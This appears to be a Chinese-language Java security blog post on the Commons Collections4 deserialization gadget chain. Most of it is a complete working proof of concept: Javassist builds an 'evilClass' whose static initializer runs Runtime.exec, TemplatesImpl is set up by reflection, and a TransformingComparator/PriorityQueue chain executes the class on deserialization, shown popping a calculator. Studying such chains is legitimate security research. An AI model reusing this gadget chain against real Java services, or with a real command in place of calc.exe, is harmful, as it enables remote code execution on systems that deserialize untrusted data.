Java安全之Commons Collections4分析
2022-06-04 23:07:35 # Java安全

前言

在构造CC4链时,看POC可以看出就是把CC2 和CC3的链进行了拼接

POC

根据TransformingComparator 利用链完成调用。

直接给出最终的反序列化 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package cc4;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {
/*
* 通过 JAVAssist 创建一个名为 evilClass 的类,
* 在该类中添加一个 static{} 静态块,
* 并设置父类为 AbstractTranslet
*/
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
/* 将 evilClass 类转换成字节码 */
byte[] evilClassBytes = cc.toBytecode();
byte[][] evilByteCodes = new byte[][]{evilClassBytes};

/*
* 获取一个 TemplatesImpl 类的实例对象,
* 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
* 并保证 _name 属性的值不为 null
*/
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
Field _name = templatesImpl.getClass().getDeclaredField("_name");
_bytecodes.setAccessible(true);
_name.setAccessible(true);
_name.set(templatesImpl, "test");
_bytecodes.set(templatesImpl, evilByteCodes);

/* 通过 InstantiateTransformer 实例化 TrAXFilter 类, 并通过 TrAXFilter 类的构造方法实现 TemplatesImpl.newTransformer() 方法的调用 */
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl}
)
};

ChainedTransformer transformerChain = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue, transformingComparator);

ByteArrayOutputStream b1 = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(b1);
out.writeObject(queue);
out.close();
b1.close();

System.out.println(b1.toString());

ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
ObjectInputStream in = new ObjectInputStream(b2);
in.readObject();
in.close();
b2.close();
}
}

分析过程就不写了,和之前的链是一样的分析过程,只是触发调用 transformerChain.transform()方法采用的是另外一种方法,即TransformingComparator.compare()

反序列化时弹出计算器

image-20220604215445704

参考

https://blog.csdn.net/hongduilanjun/article/details/123491483

https://www.cnblogs.com/nice0e3/p/14032604.html